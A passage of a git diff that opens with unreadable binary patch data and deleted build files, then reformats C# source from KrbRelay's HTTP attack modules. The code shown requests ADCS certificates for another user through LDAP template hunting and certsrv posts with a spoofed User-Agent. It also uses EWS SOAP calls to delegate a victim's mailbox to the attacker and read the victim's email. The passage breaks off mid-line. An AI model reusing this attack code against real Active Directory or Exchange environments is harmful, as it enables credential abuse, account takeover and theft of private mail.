zZc(XIRUEZT%A9K5B77rNT_Yu3Nt%-qtOV3Kkz!@3Q>j~4yOJ`ka|7$#)n(2SrMg;G zb*HLUqk5w5bP7M6V}cYDBx`My47E|z1Vtzcl~cQ(ZR@FwC@Qstl=Ubl3RzD9XHkBr zxu{z}u$sV2QD;#Z)EYPds|mbF#R2t%eW;|e#3I~Mf2mVb9MxQV z2lcChw6*JN`_LUoK($a*uKyn0K^Xy&0~O~lb#P<}?A0*T?m_u|kUdn(bE=(XN_B0e zqq=rU4gRZe>KM#wopefl4ppUY2v|3S1}aJ^RHe2F-KaPmB{V-u=jbHqmlDXkM$$tDuX)ZiQ=+2V9HJQsK z2lFywwR2{Y)lTz4@LKu@g76=O^yf!%>9vFDk$f)MzuLKFWG5ckZ%FU!&hAYQuHETw z-PN|sx2vV4ug#roO$y~iWpR@tmPNhcSR@*ayV~QvR+l&AZ*_(JtsYk((%$a(c_UGe zJBD}piU`*5KL%vH&B32{QJ=7d`h^wlFhQAy+C6Sx*b{U4khRO}X%D#qZ7nfZTdXA# zjUxI5(adLwZwvfUd9hrNhwMWm-C>e|y9g@P$0C)*I=W26%d?+0Q5{idnu1KgQ-sbg0LvDA#hz!L&t?np-!l7`;<&Akg zu23Wvb;a8}-nhpTiAT&{Gyb#;-Dmt=4U{Tt*s3jMzNKIS;e!}jKdjWTLOm0Rc+l6; zkgLTX2xCN}F_%9O_qqJx)#6wfMXtcNA5M1!xGofv77GXbrnOEunCG zyDt**wzV7G74^19JzgKCN(jU5b-STOBj{(;FA{5OYi*C9^4v@;tv0vU=ZduZT3lWf z;qpiQEv{%R9*JUFwYK=pJmWrpz#odYVRRy1m$w~DGUSOxTo|SHSX)a=3&zOE)7Rqn zx3mWW=(;!}+x%gy-~gsd9K(cp<%|2;jL6nNEZo{2bGtn5049Jt9Ce`xkE^{k)Y2Np zv}$cfo;t5>s%@Kp*Ur=~U&@vCCDE>SXnyz3R@bgndt2JSE0s#R{X*c6zAB5ZwSxa> zko(bqEdvEINV>DY?OLxb&amU*YcAT~zbTm+G+qv-)5g^s?qjD4XV9Mf|FTY}gm7jF zmw@7m;0-qnSgo_{6t^C77CiXt2Kn)8Ug%qKMrH>vhJRb73+HJ%@Xy@g-83+6{<|#q zm%N5Q6{g%t=wp1JVGvxSaFWW@tuO4mh}w#?GCAav!HF0=(8gJqUFN^}v5Zr7!<&S4 z82%(q!DQeaN| zG*aUMKkQD(GMjIR%io9ACOHmnj# -using System; -using System.Reflection; -[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/CheckPort/obj/Release/CheckPort.csproj.AssemblyReference.cache b/CheckPort/obj/Release/CheckPort.csproj.AssemblyReference.cache deleted file mode 100644 index d7642171660f1ed59751fbfeeb1865815ea4d92f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4079 zcmcInO>fjN5Y32EEn5WQLr9f4>=7j}yUl{9Z7X>1<-+efvHCnyHhRjE0AQSIZspoIH(F%`%mUV=_(> z0DDgG>DAho@0YzGU%++y=BCV4D#nr$nanrbLQdE}&tvzTec^-e<-1+q_-?3Ki`(wgP zPQ-Mfs1ccLWbw!Aql-J2{oTT1-&_2gCXMWrJ#*H|D9^e?**Z(!33*xrw@Vi^xN*P% zSpNfZ3xEM0dZG>%(ukCkh$}%8ao#)y%G3dDTqTv_EnKYTz_QC6*rSFLcZ;|go*6E+ zEd^bZ5w70QGNQoB9ozydoRlb>2{UBkL?^^uNdgI@8CCPHxx%PAB!~fS`6Am}Ntz1Q zD0j*|yIN=CPUtEec6C`b3VC5r%Ah!8~FG|c+aLdd|EmqK|urSk%@y$#w$}i4OD^Un`@h*-D&&*57FE5TM zGc?dMaEwXH%!~1J4RMQ5FwwJ62+7aSDW;-HObiSRjPgK-!E6n#EG|jSH8zSVE=kGH zNj1_d$w>k!Qh2wB|8&)L4n}2cirq4cQp*!_avTFZ^-^+jKpG}p)!t~m@FoWU68KSa diff --git a/CheckPort/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache b/CheckPort/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache deleted file mode 100644 index 7bd69fdd748a193445b7053e58ce40de89887268..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6812 zcmeHMZByGu5VpZ67($9EB?R)~v}uQ=u4)GekQqJ@8#hb{!`Ke(4EB(-w6-tEl6rT- zxD3Cgzo65f*zU@&yu|GXYbGBokJrcD-adPKtJ9+;6b^+#|KLTxbln|8VZP^vaHLaF z`Vp5Nv+~L_xud6@dfl=2GP{ZR5eUg0dpotEC+U-jr#(w~0=8}NlwejOe(04gZoGqL z!8rwcyPRCDtXDQFsg${%WUFj~AU8jQ^v2_sNqBp<0^zv73g)^X^c)j=w(BYR04G0S zmgO|S+>sLMWvjV+uD~X*V1B@iAOj3`)9>1T&Gmm+{|zRhH?Z4IqRB=i99f2)DD@d$=T|)j%imo6^szAYED3v zOC_4U2~k{_0t(?08tM;5AIieDq4$o>PeDAry*tCDYq2H)UZ2=bwB^>sL*W=8r6YFG zd#-Rzm~!nYVCFnq@jA4pT({JUl3es8P92SYLQD5Vr`HdQHl~ehS|~J* zax5GUYxqSO8vAo1-;@gKn4Y-5hN6Vie*qf=H}riB*2mQG@cTlw1PvmGMhQBs2WKfvJUBXzVk#P;<^&0(1EJ_06!TYM+VIY7=-OxM6TJ#>UBI^|DA>;oo&)R1WwkPYQPI@Vd2 z`u3=gZZM+;(XYtkSriYiI@MwLE$6ftYRr>Hyz6(|cUzky18uFZu^p*PZfWz_n!?_s zzM5Q3ZAHJqze7_oiYR@x1rmCL+jUdBkL`$VT9&rxx8NLN6m*KIMofQYa0qr>S2ujR zuPvcAM{VSERiyTDpXtX}&Np8@$Jn%4U%VY@WW#-X(p}fp-6^(~)>G8e`5F_h@9#3g zu|VKDG|-26h%ja#FkPN1z(;z7NM}JJWtd_*i9D#@3!9JqIOtXS*py~Z5a}eyRT4-X zL25yQ9Dvf_D%Hxwr-)_*iS}FF@^|UmpqE8J``rHBNBa)Z-r%wZ9Dx1DUb|eNV`#FC zLeqtPUM4#cI=)AwV?;WJ`g%QV&h9@LPq3^}mlG$F{{fRHXRSILj{F_zp4B(Y4x^d^ zRTw{8{s5BQx4;$JFip7ictp(gm?KzIlUA*PCqLLle^7ioNxzt`@|I$U_ z_UdHwQu`6dheOa4Xldpm#~MU5seXB>{e)d>gCAKv&R*trm$S!+iqm_CrlSaEhqRy3 sG`&#_pCD(M!AxY-F`w!q%pHHnDIMq<|7&!B{nx)pMh958bX}VM7engO%m4rY diff --git a/CheckPort/obj/Release/Interop.NetFwTypeLib.dll b/CheckPort/obj/Release/Interop.NetFwTypeLib.dll deleted file mode 100644 index e20df45405628f696b6368d278116cd83936d5ce..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 22016 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 { - { - X509Name.CN, string.Format("{0}\\{1}", domain, user) - } + { X509Name.CN, string.Format("{0}\\{1}", domain, user) } }; var subject = new X509Name(cert_attribs.Keys.ToList(), cert_attribs); // generate the CSR - var pkcs10CertificationRequest = new Pkcs10CertificationRequest(PkcsObjectIdentifiers.Sha256WithRsaEncryption.Id, subject, keyPair.Public, null, keyPair.Private); + var pkcs10CertificationRequest = new Pkcs10CertificationRequest( + PkcsObjectIdentifiers.Sha256WithRsaEncryption.Id, + subject, + keyPair.Public, + null, + keyPair.Private + ); var csr = Convert.ToBase64String(pkcs10CertificationRequest.GetEncoded()); // correctly format the certificate @@ -83,10 +92,22 @@ public static void requestCertificate(HttpClient httpClient, string user, string data += CertificateTemplates[i]; data += "&TargetStoreFlags=0&SaveCert=yes&ThumbPrint="; - using (var message = new HttpRequestMessage(HttpMethod.Post, "certsrv/certfnsh.asp")) + using ( + var message = new HttpRequestMessage( + HttpMethod.Post, + "certsrv/certfnsh.asp" + ) + ) { - message.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko"); - message.Content = new StringContent(data, Encoding.UTF8, "application/x-www-form-urlencoded"); + message.Headers.Add( + "User-Agent", + "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" + ); + message.Content = new StringContent( + data, + Encoding.UTF8, + "application/x-www-form-urlencoded" + ); message.Method = HttpMethod.Post; result = httpClient.SendAsync(message).Result; } @@ -111,7 +132,9 @@ public static void requestCertificate(HttpClient httpClient, string user, string else { found_template = true; - Console.WriteLine("[+] Found valid template: " + CertificateTemplates[i]); + Console.WriteLine( + "[+] Found valid template: " + CertificateTemplates[i] + ); break; } } @@ -121,7 +144,7 @@ public static void requestCertificate(HttpClient httpClient, string user, string if (!found_template) { Console.WriteLine("[-] Unable to find any usable templates"); - Environment.Exit(1); + return; } // find the req id of the certificate @@ -129,17 +152,27 @@ public static void requestCertificate(HttpClient httpClient, string user, string reqid = match.Groups[1].ToString(); if (reqid.Length == 0) { - Console.WriteLine("[-] Failed to find the certificate request id... dumping all page content."); + Console.WriteLine( + "[-] Failed to find the certificate request id... dumping all page content." + ); Console.WriteLine(responseFromServer); - Environment.Exit(1); + return; } //reqid = "62"; Console.WriteLine("[*] SUCCESS (ReqID: " + reqid + ")"); Console.WriteLine("[*] Downloading certificate"); - using (var message = new HttpRequestMessage(HttpMethod.Get, String.Format("certsrv/certnew.cer?ReqID={0}", reqid))) + using ( + var message = new HttpRequestMessage( + HttpMethod.Get, + String.Format("certsrv/certnew.cer?ReqID={0}", reqid) + ) + ) { - message.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko"); + message.Headers.Add( + "User-Agent", + "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" + ); result = httpClient.SendAsync(message).Result; } @@ -203,11 +236,12 @@ public static void requestCertificate(HttpClient httpClient, string user, string public static string[] templateHunter() { - String Base = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,"; + String Base = + "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,"; DirectoryEntry DirEntry = null; DirectorySearcher DirSearch = null; - String LdapBase = Base + Program.domainDN; + String LdapBase = Base + State.domainDN; DirEntry = new DirectoryEntry(LdapBase); DirSearch = new DirectorySearcher(DirEntry); @@ -221,8 +255,7 @@ public static string[] templateHunter() { Templates.Add(Result.Properties["name"][0].ToString()); } - catch (Exception ex) - { } + catch (Exception ex) { } } return Templates.ToArray(); @@ -236,8 +269,7 @@ public class PasswordStore : IPasswordFinder { private char[] password; - public PasswordStore( - char[] password) + public PasswordStore(char[] password) { this.password = password; } @@ -248,4 +280,4 @@ public char[] GetPassword() } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Http/EWS.cs b/KrbRelay/Clients/Attacks/Http/EWS.cs index 8b8f819..72c2fad 100644 --- a/KrbRelay/Clients/Attacks/Http/EWS.cs +++ b/KrbRelay/Clients/Attacks/Http/EWS.cs @@ -16,7 +16,8 @@ internal class EWS public static string findMailbox(HttpClient httpClient, string user) { - string soapRequestXML = String.Format(@" + string soapRequestXML = String.Format( + @" @@ -26,7 +27,11 @@ public static string findMailbox(HttpClient httpClient, string user) {1} -", exchangeVersion, user); ; +", + exchangeVersion, + user + ); + ; using (var message = new HttpRequestMessage(HttpMethod.Post, "EWS/Exchange.asmx")) { @@ -39,12 +44,18 @@ public static string findMailbox(HttpClient httpClient, string user) var result = httpClient.SendAsync(message).Result; if (result.StatusCode == HttpStatusCode.OK) { - string responseXml = result.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + string responseXml = result.Content + .ReadAsStringAsync() + .GetAwaiter() + .GetResult(); var xml = XDocument.Parse(responseXml); XmlDocument xdoc = new XmlDocument(); xdoc.LoadXml(responseXml); var nsmgr = new XmlNamespaceManager(xdoc.NameTable); - nsmgr.AddNamespace("t", "http://schemas.microsoft.com/exchange/services/2006/types"); + nsmgr.AddNamespace( + "t", + "http://schemas.microsoft.com/exchange/services/2006/types" + ); XmlNodeList list = xdoc.SelectNodes("//t:EmailAddress", nsmgr); if (list[0] != null) @@ -69,7 +80,8 @@ public static void delegateMailbox(HttpClient httpClient, string victim, string Console.WriteLine("[*] Found victim email: {0}", vEmail); } - string soapRequestXML = string.Format(@" + string soapRequestXML = string.Format( + @" @@ -99,7 +111,11 @@ public static void delegateMailbox(HttpClient httpClient, string victim, string DelegatesAndSendInformationToMe -", exchangeVersion, vEmail, user); +", + exchangeVersion, + vEmail, + user + ); using (var message = new HttpRequestMessage(HttpMethod.Post, "EWS/Exchange.asmx")) { @@ -118,10 +134,16 @@ public static void delegateMailbox(HttpClient httpClient, string victim, string } } - public static void readMailbox(HttpClient httpClient, string mailbox = "inbox", string filter = "", int limit = 100) + public static void readMailbox( + HttpClient httpClient, + string mailbox = "inbox", + string filter = "", + int limit = 100 + ) { filter = filter.Replace(",", " OR "); - string soapRequestXML = string.Format(@" + string soapRequestXML = string.Format( + @" @@ -138,7 +160,12 @@ public static void readMailbox(HttpClient httpClient, string mailbox = "inbox", {3} -", exchangeVersion, limit, mailbox, filter); +", + exchangeVersion, + limit, + mailbox, + filter + ); using (var message = new HttpRequestMessage(HttpMethod.Post, "EWS/Exchange.asmx")) { @@ -152,13 +179,19 @@ public static void readMailbox(HttpClient httpClient, string mailbox = "inbox", Console.WriteLine("[*] resp: " + result.StatusCode); if (result.StatusCode == HttpStatusCode.OK) { - string responseXml = result.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + string responseXml = result.Content + .ReadAsStringAsync() + .GetAwaiter() + .GetResult(); //Console.WriteLine(responseXml); var xml = XDocument.Parse(responseXml); XmlDocument xdoc = new XmlDocument(); xdoc.LoadXml(responseXml); var nsmgr = new XmlNamespaceManager(xdoc.NameTable); - nsmgr.AddNamespace("t", "http://schemas.microsoft.com/exchange/services/2006/types"); + nsmgr.AddNamespace( + "t", + "http://schemas.microsoft.com/exchange/services/2006/types" + ); XmlNodeList list = xdoc.SelectNodes("//t:Message", nsmgr); Console.WriteLine("[*] Searching in inbox"); @@ -166,7 +199,11 @@ public static void readMailbox(HttpClient httpClient, string mailbox = "inbox", for (int cc = 0; cc < list.Count; cc++) { XmlNode ItemId = list[cc].SelectNodes("//t:ItemId", nsmgr)[cc]; - var email = readEmail(httpClient, ItemId.Attributes["Id"].Value, ItemId.Attributes["ChangeKey"].Value); + var email = readEmail( + httpClient, + ItemId.Attributes["Id"].Value, + ItemId.Attributes["ChangeKey"].Value + ); Console.WriteLine("Date: {0}", email.Date); Console.WriteLine("From: {0}", email.From); @@ -182,7 +219,8 @@ public static void readMailbox(HttpClient httpClient, string mailbox = "inbox", public static MimeMessage readEmail(HttpClient httpClient, string id, string changeKey) { - string soapRequestXML = string.Format(@" + string soapRequestXML = string.Format( + @" @@ -200,7 +238,11 @@ public static MimeMessage readEmail(HttpClient httpClient, string id, string cha -", exchangeVersion, id, changeKey); +", + exchangeVersion, + id, + changeKey + ); using (var message = new HttpRequestMessage(HttpMethod.Post, "EWS/Exchange.asmx")) { @@ -214,16 +256,26 @@ public static MimeMessage readEmail(HttpClient httpClient, string id, string cha //Console.WriteLine("[*] resp: " + result.StatusCode); if (result.StatusCode == HttpStatusCode.OK) { - string responseXml = result.Content.ReadAsStringAsync().GetAwaiter().GetResult(); + string responseXml = result.Content + .ReadAsStringAsync() + .GetAwaiter() + .GetResult(); var xml = XDocument.Parse(responseXml); XmlDocument xdoc = new XmlDocument(); xdoc.LoadXml(responseXml); var nsmgr = new XmlNamespaceManager(xdoc.NameTable); - nsmgr.AddNamespace("t", "http://schemas.microsoft.com/exchange/services/2006/types"); + nsmgr.AddNamespace( + "t", + "http://schemas.microsoft.com/exchange/services/2006/types" + ); XmlNodeList mimeXml = xdoc.SelectNodes("//t:MimeContent", nsmgr); MimeMessage mm = new MimeMessage(); - using (Stream stream = new MemoryStream(Convert.FromBase64String(mimeXml[0].InnerText))) + using ( + Stream stream = new MemoryStream( + Convert.FromBase64String(mimeXml[0].InnerText) + ) + ) { mm = MimeMessage.Load(stream); } @@ -236,4 +288,4 @@ public static MimeMessage readEmail(HttpClient httpClient, string id, string cha } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Attacks/Http/ProxyServer.cs b/KrbRelay/Clients/Attacks/Http/ProxyServer.cs index b289f35..4e70c78 100644 --- a/KrbRelay/Clients/Attacks/Http/ProxyServer.cs +++ b/KrbRelay/Clients/Attacks/Http/ProxyServer.cs @@ -35,9 +35,7 @@ public class ProxyServer : IDisposable private readonly string _targetHost; public ProxyServer(string targetUrl, params string[] prefixes) - : this(new Uri(targetUrl), prefixes) - { - } + : this(new 